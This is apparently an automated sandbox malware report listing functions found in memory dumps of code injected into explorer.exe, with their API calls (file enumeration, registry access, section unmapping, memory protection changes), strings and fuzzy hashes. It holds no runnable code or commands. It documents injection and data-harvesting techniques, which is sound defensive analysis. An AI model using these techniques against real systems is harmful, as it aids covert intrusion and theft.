Instruction Fuzzy Hash: 80E1E47064C38A9BD7258E28849473ABBE1EF9A304F2449DDFAC1D7252DA70C94DD782

Uniqueness

Uniqueness Score: -1.00%

Function 00BF77F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

-x0, xrefs: 00BF7325
NaN, xrefs: 00BF73F8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 002e919a9234a81956e110689dd4343db6f7a4f15355f7e7a6274ec7a562a901
Instruction ID: 2958e8653062f21480f83fd7f25916a9c62ab0ccc3d2eb05ef6bcd5c3f13c295
Opcode Fuzzy Hash: 002e919a9234a81956e110689dd4343db6f7a4f15355f7e7a6274ec7a562a901
Instruction Fuzzy Hash: D1E1E270A4C38A9BD7258E28849073ABBE1EF9A304F2449DDFAC1D7352DA60C94DD752

Uniqueness

Uniqueness Score: -1.00%

Function 00BF70C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 00BF720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 00BF7226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 00BF727B

Strings

-x0, xrefs: 00BF7325
NaN, xrefs: 00BF73F8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: 15c327ff8ef1fa6b7ad252a9fc996ad12ba0e974d72d1b6e31d68be602e8f15d
Instruction ID: 43bf69f00723946ee2c073d28831e9364c7ab0e7de31127523102202332ef4c2
Opcode Fuzzy Hash: 15c327ff8ef1fa6b7ad252a9fc996ad12ba0e974d72d1b6e31d68be602e8f15d
Instruction Fuzzy Hash: C9D1E470A4C38A9BD7258E28849077EBBE1EF9A304F2449DDFAC1D7352DA60C94DD742

Uniqueness

Uniqueness Score: -1.00%

Function 00BF898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 00BF8AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 00BF8B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 00BF8C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 00BF8CAE

Strings

., xrefs: 00BF8B17

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: 06d803909eef42cd7a1193ed6a98fad358bd068a60ef6ef656d15fa81cded350
Instruction ID: 2491a96ba31b49c0ee68f9b96e9fda249c9683318a9f026104106469328eca50
Opcode Fuzzy Hash: 06d803909eef42cd7a1193ed6a98fad358bd068a60ef6ef656d15fa81cded350
Instruction Fuzzy Hash: 66D1F1B590C78D8BC7249F58888023EBBF0FF95314F0449AEF7D597291DBB189498B86

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 00C1D6A0
memset.NTDLL ref: 00C1D6B3
memset.NTDLL ref: 00C1D6C3

Strings

9, xrefs: 00C1D701
,, xrefs: 00C1D6FC
7, xrefs: 00C1D71B

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: 425187d7486b262b3ebb40081dde3fcc77cbbebbff5eb4ace85c7a7cd6c0c10b
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: B1314D715083449FD730DF64D480BDFBBE9AF85340F00492EF98997291EB719549DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1BCC
StrStrIW.SHLWAPI(00000000,.exe,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1C05
lstrlenW.KERNEL32(00000000,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1C1C

Strings

.exe, xrefs: 00BF1BEA

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: 651112ae6596dbd076d2d8ec6c64f7fe79c48dff080fae1eee32ef3a18d3d985
Instruction ID: d9348b0829eff7af0c517be063decedd03f12bd37c73d04a8cf9cc06f533ae53
Opcode Fuzzy Hash: 651112ae6596dbd076d2d8ec6c64f7fe79c48dff080fae1eee32ef3a18d3d985
Instruction Fuzzy Hash: BCF0C235350224DAD3246F3C9C45BBF62E4FF023417105CAEE242C71A5EBA08C45C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00BF2112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00BF2127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 00BF213A
wsprintfA.USER32 ref: 00BF214F

Strings

%li, xrefs: 00BF2149

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: 294cb240545bb58cc7722ad44d239b67fcd126db6caa279dba4f3108babceb65
Instruction ID: 2181db35040626655844cc646663a8dbde575560911df3f65de04e737b02ffd8
Opcode Fuzzy Hash: 294cb240545bb58cc7722ad44d239b67fcd126db6caa279dba4f3108babceb65
Instruction Fuzzy Hash: 0FE0D83264020877C7203BB89C06FEF7B6CEB41B15F004591FA04F618AD9724A2483D6

Uniqueness

Uniqueness Score: -1.00%

Function 00C02FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 00C0316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 00C031D2
_alldiv.NTDLL(?,?,00000000), ref: 00C032DE
_allmul.NTDLL(00000000,?,00000000), ref: 00C032E7
_allmul.NTDLL(?,00000000,?,?), ref: 00C03392

Part of subcall function 00C016CD: memset.NTDLL ref: 00C0172B

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: 999784fd561c6c38d4e79b953671569cb997a9964bb9a226e07bac79a3fe681a
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: 47D19D716083818FDB24DF69C480B6EBBE9BF88704F14482DF9A587291DB70DE45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00C287FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

old, xrefs: 00C2889E
FOREIGN KEY constraint failed, xrefs: 00C28AC8
new, xrefs: 00C288AA

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: 3d02b86b327f1c07b3834f8c195895c2e032be399b73f878de7893da22a61949
Instruction ID: f895dd13061e806a3a3feb7e4b7d8a2b7d030664f25a2dd450b79fbadbbabed0
Opcode Fuzzy Hash: 3d02b86b327f1c07b3834f8c195895c2e032be399b73f878de7893da22a61949
Instruction Fuzzy Hash: 1FD17A707093009FD714DF25D881B6FBBEAABC8750F10481EF9498B281DB74D986EB92

Uniqueness

Uniqueness Score: -1.00%

Function 00BF96BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 00BF96E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 00BF9707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 00BF9739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 00BF976C
_allmul.NTDLL(?,?,?,?), ref: 00BF9798

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: 5c9e7a4ca29468b239c4cdd6350adf58ba221d7e871347f6bc2a6845034c0745
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: 3521CC32A2875D2AD7347D1A4CC0B3B7AC8DBD1794F2441AABB11C3252EB528C4C82A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 00C0B1B3
_alldvrm.NTDLL(?,?,00000000), ref: 00C0B20F
_allrem.NTDLL(?,00000000,?,?), ref: 00C0B28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 00C0B298

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: 80fbb7ea1376a2c1c3491f500fc68e65874a2dcdb04e2a499825877613a8a89c
Instruction ID: db826754f1074dfc37cb9b6e4340d931b9639b2450d6e1eb5931085d8924956c
Opcode Fuzzy Hash: 80fbb7ea1376a2c1c3491f500fc68e65874a2dcdb04e2a499825877613a8a89c
Instruction Fuzzy Hash: E94114756083019BC718EF29C891A2EBBE5AFC8700F15892DF995972A2DB31ED05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,00BF2F0C), ref: 00BF1973
lstrlenW.KERNEL32(00C46564,?,?,00BF2F0C), ref: 00BF1978
lstrcatW.KERNEL32(00000000,?), ref: 00BF1990
lstrcatW.KERNEL32(00000000,00C46564), ref: 00BF1994

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: ce3e2ccab7e85cebd34bd88d796faaedf9d2d4bbc4eb6596461733344847dda5
Instruction ID: 76b260474b14d905eb632b2892f805469de2de9b184539934ce2fd8aeb56a199
Opcode Fuzzy Hash: ce3e2ccab7e85cebd34bd88d796faaedf9d2d4bbc4eb6596461733344847dda5
Instruction Fuzzy Hash: 28E0E5A630021C5B471077AE5C90E7B76DCDACA6A13050479FB04D3306ED929C0946F4

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00BF6A81: memset.NTDLL ref: 00BF6A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 00C1F2A1

Strings

%llu, xrefs: 00C1F25E
%llu, xrefs: 00C1F2A8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: 3a4f4d529cbefb48cf682da13cbe0e26b682a0a0bf3a88fc45c57cecb3731953
Instruction ID: d487370ccbdc02ed69a1b21d784bd045dab05a426760485209ac893be258374c
Opcode Fuzzy Hash: 3a4f4d529cbefb48cf682da13cbe0e26b682a0a0bf3a88fc45c57cecb3731953
Instruction Fuzzy Hash: BD2101B26442196BCA10AA24CC42FBBB7A8EF85730F044278FA21976C1DB309D56D6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 00C02174
_allmul.NTDLL(?,?,?,00000000), ref: 00C0220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 00C02241
_allmul.NTDLL(00BF2E26,00000000,?,?), ref: 00C02295

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: b50dbb15233b46c3c88bfe70023779f5cc6439b79c4a7a1c47f9242bb9920faa
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: 85A19E707087029FC715DFA9C885A2EB7E6AFD8714F00482DFA558B2A1EB70ED45CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00C078B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 00C07979
memset.NTDLL ref: 00C0798A
memcpy.NTDLL(?,?,?), ref: 00C07A00
memset.NTDLL ref: 00C07A14

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 32b787428994fa7db5349bf6ae8b0bfe6d414afa79c2e8fe614379039f351929
Instruction ID: e08acc5549990e3e0004e8197cd08c05f36bccda871e22a4be8f1b5868012987
Opcode Fuzzy Hash: 32b787428994fa7db5349bf6ae8b0bfe6d414afa79c2e8fe614379039f351929
Instruction Fuzzy Hash: A8818071A0C3149FC358DF29C984A2BBBE5FF88704F144A6DF88697292D670EE05DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BF190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,00BF2783), ref: 00BF192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,00BF2783), ref: 00BF1930
lstrcat.KERNEL32(00000000,?), ref: 00BF1946
lstrcat.KERNEL32(00000000,00000000), ref: 00BF194A

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 5fb6f231d22169afa59775a7b9ab822a498c8cd32ce4bd51d5f88c13193951e9
Instruction ID: 2d6db829a15274f182e426649ac3b9d334d35cee0882f32c42c50b4c46b7290b
Opcode Fuzzy Hash: 5fb6f231d22169afa59775a7b9ab822a498c8cd32ce4bd51d5f88c13193951e9
Instruction Fuzzy Hash: 25E02B9670021C5B072077BE5C94E3F76DCDAD61A13050475FA04C3206ED929C0546F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 7108, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	21.6%
Dynamic/Decrypted Code Coverage:	87.1%
Signature Coverage:	0%
Total number of Nodes:	178
Total number of Limit Nodes:	16

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 009E30A8 Relevance: 4.7, APIs: 3, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 009E3104
FindNextFileW.KERNELBASE ref: 009E3218
FindClose.KERNELBASE ref: 009E3229

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction ID: a1eafaa1263118386fd6409077a81cec3835a3b2bd7b7d426dfa374665e5d473
Opcode Fuzzy Hash: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction Fuzzy Hash: 27416030318B8C5FDB96EB3AD4597AE73D6FBD8340F448A29A44AC3251EE74DD048781

Uniqueness

Uniqueness Score: -1.00%

Function 009E38B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 009E38F2

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction ID: cfba006fb70607677834fbb9d48786f40d55d0ae71f54b4bd4b64447dc494e3c
Opcode Fuzzy Hash: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction Fuzzy Hash: 5EF0E530F11A481BEF6D77BEA85D3382284EB98310F908629B515C32D2DD398E858302

Uniqueness

Uniqueness Score: -1.00%

Function 009E2774 Relevance: 6.1, APIs: 4, Instructions: 124
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE ref: 009E27C7
RegQueryValueExW.KERNELBASE ref: 009E27F4
RegQueryValueExW.KERNELBASE ref: 009E283A
RegCloseKey.KERNELBASE ref: 009E2860

Part of subcall function 009E1860: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 009E1880

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: QueryValue$CloseLanguagesOpenPreferredRestoreThread
String ID:
API String ID: 2123488420-0
Opcode ID: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction ID: b65f410036047e4ea5ed1f1643b67f90bb4d19dd2c0ce82af4f74f64f7da53d2
Opcode Fuzzy Hash: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction Fuzzy Hash: 6531833020CB888FE76ADB29D45877A77E8FBA8355F54062EE48AC2265DF24CC458742

Uniqueness

Uniqueness Score: -1.00%

Function 009E372C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE ref: 009E37B2
RegCloseKey.KERNELBASE ref: 009E37C1

Strings

?, xrefs: 009E37A2

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: CloseCreate
String ID: ?
API String ID: 2932200918-1684325040
Opcode ID: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction ID: 648f39afec1197d52ee08e2fa2d6c77d053a1a70a2fa3c68735788f321395326
Opcode Fuzzy Hash: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction Fuzzy Hash: A9116070618B488FD751DF69D48876AB7E1FBD8345F50062EE48AC3261DF389985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 009EA298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 009EA397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 009EA441
VirtualProtect.KERNELBASE ref: 009EA45F

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E9000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e9000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: 2f5e4de6236afa2e827237196524747f5a2aea07051fccffbc38bd0fe837aaf7
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: 16519C31358D9E4BCB26AB7E9CC43F5B3C1F755321B180A2AD09AC33A5E559EC468383

Uniqueness

Uniqueness Score: -1.00%

Function 009E3254 Relevance: 4.7, APIs: 3, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E298C: GetFileAttributesW.KERNELBASE ref: 009E299E

GetPrivateProfileSectionNamesW.KERNEL32 ref: 009E330F
GetPrivateProfileStringW.KERNEL32 ref: 009E336F
GetProfileIntW.KERNEL32 ref: 009E338C

Part of subcall function 009E30A8: FindFirstFileW.KERNELBASE ref: 009E3104

Part of subcall function 009E1860: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 009E1880

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: Profile$FilePrivate$AttributesFindFirstLanguagesNamesPreferredRestoreSectionStringThread
String ID:
API String ID: 3101793545-0
Opcode ID: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction ID: 074a532a6e99d62edf62e8b9b9bb76ad360fe63f2896bbca7419dad0d42c8a78
Opcode Fuzzy Hash: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction Fuzzy Hash: B251DB30718F4D4FDB1ABB2ED81A77D32D6EBD8700B44456DE40AC3296EE64DD418786

Uniqueness

Uniqueness Score: -1.00%

Function 009E3458 Relevance: 4.7, APIs: 3, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE ref: 009E347E
RegOpenKeyExW.KERNELBASE ref: 009E353F
RegEnumKeyExW.KERNELBASE ref: 009E35D6

Part of subcall function 009E2774: RegOpenKeyExW.KERNELBASE ref: 009E27C7
Part of subcall function 009E2774: RegQueryValueExW.KERNELBASE ref: 009E27F4
Part of subcall function 009E2774: RegQueryValueExW.KERNELBASE ref: 009E283A
Part of subcall function 009E2774: RegCloseKey.KERNELBASE ref: 009E2860

Part of subcall function 009E3254: GetPrivateProfileSectionNamesW.KERNEL32 ref: 009E330F

Part of subcall function 009E1860: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 009E1880

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: OpenQueryValue$CloseEnumLanguagesNamesPreferredPrivateProfileRestoreSectionThread
String ID:
API String ID: 3181731660-0
Opcode ID: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction ID: 33a64407dbeb9c52511b651edfab400fdd985cdb4bf9a28b67434dd6e98e0a5a
Opcode Fuzzy Hash: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction Fuzzy Hash: 57414B30718B888FDB99EF6E949972AB6E6FBD8341F00456EA14EC3261DE34DD448742

Uniqueness

Uniqueness Score: -1.00%

Function 009E2938 Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 009E2966
FindCloseChangeNotification.KERNELBASE ref: 009E297A

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: ChangeCloseCreateFileFindNotification
String ID:
API String ID: 727422849-0
Opcode ID: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction ID: 29b9b55dcb519e505524061ce3dcb8e17510f6ebe2f84a64147af5978b39ed53
Opcode Fuzzy Hash: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction Fuzzy Hash: B7F02B7021574A4FE7496FBA4598336B6D8FB08315F18573DE45AC22D0DB388C428702

Uniqueness

Uniqueness Score: -1.00%

Function 009E298C Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 009E299E

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction ID: 57bdcb67e15c445ecb84926461d5d4483084f546b72d284fb70ddfd71dbc625c
Opcode Fuzzy Hash: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction Fuzzy Hash: BAD0A722712985077B6627FB0ADD27130ACD71932AF18233AEA36C11E1E285CCD5A209

Uniqueness

Uniqueness Score: -1.00%

Function 009E1860 Relevance: 1.5, APIs: 1, Instructions: 20
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 009E1880

Memory Dump Source

Source File: 00000014.00000002.2323425922.00000000009E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 009E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_9e1000_explorer.jbxd

Similarity

API ID: LanguagesPreferredRestoreThread
String ID:
API String ID: 1765668137-0
Opcode ID: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
